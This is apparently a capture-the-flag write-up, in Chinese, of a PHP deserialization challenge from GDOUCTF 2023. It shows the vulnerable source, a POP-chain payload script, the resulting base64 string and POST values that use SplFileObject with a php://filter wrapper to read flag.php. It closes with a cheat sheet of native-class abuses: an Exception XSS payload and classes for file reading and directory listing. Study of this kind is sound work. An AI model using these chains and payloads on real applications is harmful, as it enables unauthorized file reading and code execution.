(反序列化)[GDOUCTF 2023]反方向的钟

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

先看看利用点:

应该是_POST\['a'\](_POST['b']);

尝试构造链子school::IPO() -> school::__wakeup ->classroom::hahaha->teacher

编写payload

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name='ing';
    public $rank='department';
}

class classroom{
    public $name='one class';
    public $leader;
}

class school{
    public $department;
    public $headmaster='ong';
}
$a=new school();
$b=new classroom();
$c=new teacher();
$a->department=$b;
$b->leader=$c;
echo base64_encode(serialize($a));
?>

结果:                      
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

接下来构造post的a和b即可

尝试a=system&b='ls'不行

上网查用php的内置类SplFileObject来读取文件内容

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

即原生类和伪协议

原生类

php原生类

Error/Exception XSS

<?php

$a = serialize(new Exception("<script>alert(1)</script>"));

echo $a;

SplFileObject 读文件

<?php

$a = new SplFileObject("flag.txt");

echo $a;

DirectoryIterator 遍历目录

<?php

$a = new DirectoryIterator(".");

foreach (a as b) {

echo $b->getFilename() . "\n";

}

FilesystemIterator 遍历目录

<?php

$a = new FilesystemIterator(".");

foreach (a as b) {

echo $b->getFilename() . "\n";

}

相关推荐
天水幼麟39 分钟前
动手学深度学习-学习笔记(总)
笔记·深度学习·学习
天水幼麟3 小时前
动手学深度学习-学习笔记【二】(基础知识)
笔记·深度学习·学习
OEC小胖胖3 小时前
告别 undefined is not a function:TypeScript 前端开发优势与实践指南
前端·javascript·typescript·web
沧海一笑-dj3 小时前
【51单片机】51单片机学习笔记-课程简介
笔记·学习·51单片机·江科大·江科大学习笔记·江科大单片机·江科大51单片机
老虎06274 小时前
JavaWeb(苍穹外卖)--学习笔记04(前端:HTML,CSS,JavaScript)
前端·javascript·css·笔记·学习·html
大苏打seven5 小时前
Docker学习笔记:Docker网络
笔记·学习·docker
Green1Leaves6 小时前
pytorch学习-9.多分类问题
人工智能·pytorch·学习
慕y2747 小时前
Java学习第十五部分——MyBatis
java·学习·mybatis
碣石潇湘无限路7 小时前
【AI篇】当Transformer模型开始学习《孙子兵法》
人工智能·学习
用户Taobaoapi20148 小时前
Taobao agent USA丨美国淘宝代购1688代采集运系统搭建指南
数据挖掘·php